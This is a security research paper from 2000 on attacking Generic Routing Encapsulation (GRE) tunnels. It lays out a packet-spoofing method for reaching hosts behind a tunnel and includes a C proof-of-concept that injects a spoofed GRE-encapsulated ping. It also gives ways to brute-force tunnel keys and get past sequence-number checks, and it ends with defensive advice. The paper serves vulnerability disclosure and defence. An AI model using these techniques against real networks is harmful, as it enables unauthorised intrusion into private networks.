This is a discussion paper. 
 It may be possible that the concepts explained here are not going to work.
 Feel free to distribute this document as it is and send comments to the autor.
 The copyrights remain by the autor itself and reproduction in any way 
 requires written approval.
 

GRE

Attacking Generic Routing Encapsulation

Introduction

Scenario A

Scenario B (and C and D and others)

Selecting a target

 Received: 
 from V1 (user123.branch12.comany.com [10.1.1.2]) by mail.company.com
 (8.9.3+Sun/8.9.3) with SMTP id QAA09544; Tue, 24 Oct 2000 16:33:30 +0200 (MEST)
 ....
 X-Mailer: KMail [version 1.0.29.2]
 

Information gathering

 interface Tunnel0
  ip address 192.168.169.1 255.255.255.252
  tunnel source some_interface0
  tunnel destination dw.dx.dy.dz
 

What we know now is the following information:

• Victim's IP address (10.1.1.2)
• Tunnel destination setting of the HQ router (tunnel source of victim's router) (2.1.1.2)
• Tunnel source setting of HQ's router (tunnel destination setting of victim's router) (2.1.1.1)

 interface Tunnel0
  ip address 192.168.169.1 255.255.255.252
  tunnel source Serial0
  tunnel destination 2.1.1.1
 

The attack

1. First, we send a GRE packet to victim's router (to the IP address of the interface defined as his tunnel source!). This contains in its IP header the source address of HQ's router (the tunnel destination setting on victim's router). The GRE header is empty (32Bits 0), because no flags are defined. (More to the flags and possible attacks against them later). The payload packet - that is the tunneld packet - contains victim's IP address and our own source address. Make sure you are not behind a NAT system or behind a firewall. NAT is not going to work because you initiated the connection to someone else and firewalls are a bad thing to be behind of when attacking on a protocol level like this ;).
2. If everything goes well and victim's router receives the packet, he will check for the source address and find out that it is comming from HQ's router. Because this sattisfies the checks, he will unpack the packet and drop the payload back to the routing process to figure out where to send it.
3. The payload packet is then send over the internal inferface to victim. He just sees a normal packet with our IP address as sender and processes it. Assumed it is a ICMP echo request (ping), he will send out an ICMP echo reply to us. According to his routing table, he will address it on Layer 2 to his router.
4. Victim's router takes the packet and, because of the default way into the tunnel, forwards this packet GRE encapsulated to HQ's router.
5. HQ's router is allowed to talk to the Internet. Even if incomming packets from the Internet are prohibited, he is allowed to "initiate connections". Therefore, he will send the decapsulated packet (payload) to it's destination address: us!.
6. On our box arrives a packet from a completely different source. But it is the actual answer packet from victim himself.

Oh well, so much effort for a ping ?

The code

/* GRE intrusion proof of concept
 * 
 * FX <fx@phenoelit.de>
 *
 * $Id: gre.c,v 1.1 2000/11/20 20:12:34 fx Exp fx $
 */
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <netinet/in.h>
#include <rpc/types.h>
#include <netdb.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <fcntl.h>

#include "protocols.h"
#include "packets.h"

/* This is a very crapy test. 
 * We send a ping packet to VICTIM, intruding into the GRE tunnel between 
 * ROUTER A and ROUTER B. VICTIM is located behind ROUTER A.
 * This is done using the following information:
 * 	VICTIM's IP address
 * 	ROUTER A's
 * 		Outside IP 
 * 		Tunnel destination setting (probably ROUTER B)
 * 	ROUTER B's
 * 		Outside IP
 *
 * The packet is encapsulated in a IPv4 and GRE (RFC1701) header. Then it is 
 * send to ROUTER A with the sender address of ROUTER A's tunnel source
 * address (probably ROUTER B's outside IP). Then VICTIM should response to 
 * the ICMP echo and send it according to his default router to ROUTER A. The
 * source address of the encapsulated packet is our own IP. So, if ROUTER A
 * can reach us, he will send the packet back to us. If not, he will probably
 * send the packet to ROUTER B in GRE and he will send it to us.
 */
#define VICTIM		"10.1.1.2"
#define ROUTER_A	"192.168.1.12"
#define ROUTER_B	"192.168.1.10"

struct {
    struct in_addr 	router_a;
    struct in_addr	router_b;
    struct in_addr	victim;
} cfg;


int main(int argc, char **argv) {

    u_char	*packet;
    iphdr_t	*ip_gre,*ip_my;
    grehdr_t	*gre;
    icmp_ping_t	*ping;
    int		psize;
    int		socket;


    /* init a socket and fill packet_ifconfig */
    socket=init_socket_IP4("eth0",0);

    /* make the ip addresses */
    inet_aton(VICTIM,&(cfg.victim));
    inet_aton(ROUTER_A,&(cfg.router_a));
    inet_aton(ROUTER_B,&(cfg.router_b));

    /* build the outer packet */
    psize=sizeof(iphdr_t)*2
	+sizeof(grehdr_t)
	+sizeof(icmp_ping_t);
    packet=(u_char *)smalloc(psize+3);

    ip_gre=(iphdr_t *)packet;
    ip_gre->version=4;
    ip_gre->ihl=sizeof(iphdr_t)/4;
    ip_gre->tot_len=htons(psize);
    ip_gre->protocol=IPPROTO_GRE;
    ip_gre->id=htons(0xAFFE);		/* crap, but hey, it's a test */
    ip_gre->ttl=30;
    memcpy(&(ip_gre->saddr.s_addr),&(cfg.router_b.s_addr),IP_ADDR_LEN);
    memcpy(&(ip_gre->daddr.s_addr),&(cfg.router_a.s_addr),IP_ADDR_LEN);

    gre=(grehdr_t *)(packet+sizeof(iphdr_t));
    gre->flags=0;
    gre->proto=htons(0x0800);		/* IPv4 - see RFC1700 */

    ip_my=(iphdr_t *)(packet+sizeof(iphdr_t)+sizeof(grehdr_t));
    ip_my->version=4;
    ip_my->ihl=sizeof(iphdr_t)/4;
    ip_my->tot_len=htons(sizeof(iphdr_t)+sizeof(icmp_ping_t));
    ip_my->protocol=IPPROTO_ICMP;
    ip_my->id=htons(0xF0F0);
    ip_my->ttl=30;
    memcpy(&(ip_my->saddr.s_addr),
	    &(packet_ifconfig.ip.s_addr),IP_ADDR_LEN);
    memcpy(&(ip_my->daddr.s_addr),&(cfg.victim),IP_ADDR_LEN);
    /* we have to compute the checksum ourself, because there is no interface
     * that will do this for us */
    ip_my->check=chksum((u_char *)(ip_my),sizeof(iphdr_t));

    ping=(icmp_ping_t *)(packet+sizeof(iphdr_t)*2+sizeof(grehdr_t));
    ping->icmp.type=ICMP_ECHO;
    ping->echo.identifier=0x22;
    ping->icmp.checksum=chksum((u_char *)ping,sizeof(icmp_ping_t));


    /* send the test packet */

    sendpack_IP4(socket,packet,psize);
    close(socket);

    return 0;
}
 

GRE Flags and "Defending the tunnel"

• tunnel keys
  Tunnel keys help to defend the tunnels integrity by using a key number for the tunnel. Unfortunately, this number is in the range of 32bits (0-4294967295), which opens the door for brute force. It will take time to send 4 billions of packets, but it is in a range for practical applications.
• tunnel sequence
  The sequence number check is defined in RFC1701, but the actuall algorithm is not. Cisco implements it as starting by 1 for both sides independent and incrementing by one for each encapsulated packet. This is not often used because of the difficulties that arise when one of the routers is reloaded. What you can do is: assume or make sure the other end's tunnel router is not sending packets to victim's router, but don't kill him. Then send out some twenty packets to victim's router starting with sequence number one. This leads victim's router to the assumption that the other end reloaded and he will finally accept the packets.
• encryption
  This is basicly the best defense. Full stop.
• IPsec
  Correct implemented IPsec meight be a better solution the GRE.